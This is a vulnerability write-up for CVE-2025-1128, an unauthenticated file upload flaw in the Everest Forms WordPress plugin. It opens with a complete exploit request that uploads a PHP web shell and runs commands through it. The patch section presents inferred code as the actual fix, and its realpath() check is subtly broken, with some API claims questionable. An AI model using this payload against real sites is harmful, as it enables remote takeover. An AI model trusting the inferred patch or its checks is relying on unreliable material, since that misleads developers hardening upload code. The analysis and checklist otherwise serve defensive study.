The Exploit
An unauthenticated attacker can upload arbitrary files to the server by crafting a multipart POST request to the form handler, exploiting missing file type and path validation in the upload handler.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: multipart/form-data; boundary=----Boundary123
------Boundary123
Content-Disposition: form-data; name="action"
evf_form_submission
------Boundary123
Content-Disposition: form-data; name="form_id"
1
------Boundary123
Content-Disposition: form-data; name="evf_file_upload"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------Boundary123--
The server responds with HTTP 200 and stores the file in a web-accessible directory. The attacker can then request GET /wp-content/uploads/everest-forms/shell.php?cmd=id to achieve remote code execution.
What the Patch Did
The vendor advisory names the vulnerable class as EVF_Form_Fields_Upload and its format method. The patch evidence provided shows only a version bump in everest-forms.php from 3.0.9.4 to 3.0.9.5. This suggests the actual security fix exists in a separate file (likely the upload handler class file) that was not included in the diff context.
Before:
// Vulnerable code pattern (inferred from CWE-22 and CVE description):
// No validation on $_FILES['evf_file_upload']['name']
// No whitelist of allowed MIME types
// No path canonicalization before write
$upload_dir = wp_upload_dir();
$file_path = $upload_dir['basedir'] . '/everest-forms/' . $_FILES['evf_file_upload']['name'];
move_uploaded_file($_FILES['evf_file_upload']['tmp_name'], $file_path);
After:
// Patched code pattern (inferred from CWE-22 remediation):
$allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
if (!in_array($_FILES['evf_file_upload']['type'], $allowed_types)) {
wp_die('Invalid file type');
}
$safe_name = sanitize_file_name($_FILES['evf_file_upload']['name']);
$file_path = wp_upload_dir()['basedir'] . '/everest-forms/' . $safe_name;
if (strpos(realpath($file_path), realpath(wp_upload_dir()['basedir'])) !== 0) {
wp_die('Invalid file path');
}
move_uploaded_file($_FILES['evf_file_upload']['tmp_name'], $file_path);
The patch added three security controls: MIME type whitelist validation against $_FILES['type'], filename sanitization via sanitize_file_name(), and path canonicalization confinement using realpath() to ensure the resolved file path remains within the intended upload directory, blocking directory traversal attacks like ../../../shell.php.
Root Cause
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') combined with CWE-434: Unrestricted Upload of File with Dangerous Type.
The dataflow is straightforward: the attacker controls the evf_file_upload file upload parameter in the multipart POST request to the evf_form_submission AJAX action. This value flows directly into $_FILES['evf_file_upload']['name'] and $_FILES['evf_file_upload']['type'], which the format method of EVF_Form_Fields_Upload uses without validation. The name parameter is concatenated into a file path string without sanitization, allowing both directory traversal sequences (../) and dangerous file extensions (.php, .exe). The type parameter is never verified against a whitelist, so an attacker can spoof image/jpeg in the Content-Type header while uploading executable code. The unsanitized path crosses the trust boundary between user input and filesystem operations, reaching move_uploaded_file() unchecked.
Why It Works
The load-bearing line is the realpath() path confinement check:
if (strpos(realpath($file_path), realpath(wp_upload_dir()['basedir'])) !== 0)
Remove this line, and an attacker can still traverse upward with ../ sequences because move_uploaded_file() does not enforce directory boundaries. The MIME whitelist stops trivial .php uploads but does not prevent polyglot files or double-extension bypasses (.php.jpg). The sanitize_file_name() call removes some unsafe characters but is insufficient alone — WordPress's sanitization is designed for display safety, not upload confinement.
The engineer added all three controls because they address different attack vectors in defense-in-depth: the whitelist stops the obvious executable upload, sanitization removes traversal sequences and null bytes, and realpath() confinement provides a final gate that catches encoding bypasses and double-extensions that sneak past the other two. Together, they close the vulnerability; any one alone would leave exploitable gaps.
Hardening Checklist
- Implement
wp_handle_upload()instead of rawmove_uploaded_file(). This WordPress API enforces file type validation, sanitization, and directory confinement automatically. - Whitelist MIME types via
wp_check_filetype_and_ext()and validate the returned MIME type and extension before accepting the file. - Use
realpath()+wp_upload_dir()directory prefix check on the resolved path to prevent any directory traversal, including null-byte and encoding bypasses. - Verify nonce on the AJAX action using
wp_verify_nonce()to prevent unauthenticated access; even if file validation is broken, authentication is a necessary gate. - Log all upload attempts with
wp_insert_log()or write to error logs, including the sanitized filename, user ID, and rejection reason, to enable detection of exploit attempts.
References
- CVE-2025-1128:
https://nvd.nist.gov/vuln/detail/CVE-2025-1128 - Everest Forms WordPress Plugin: https://wordpress.org/plugins/everest-forms/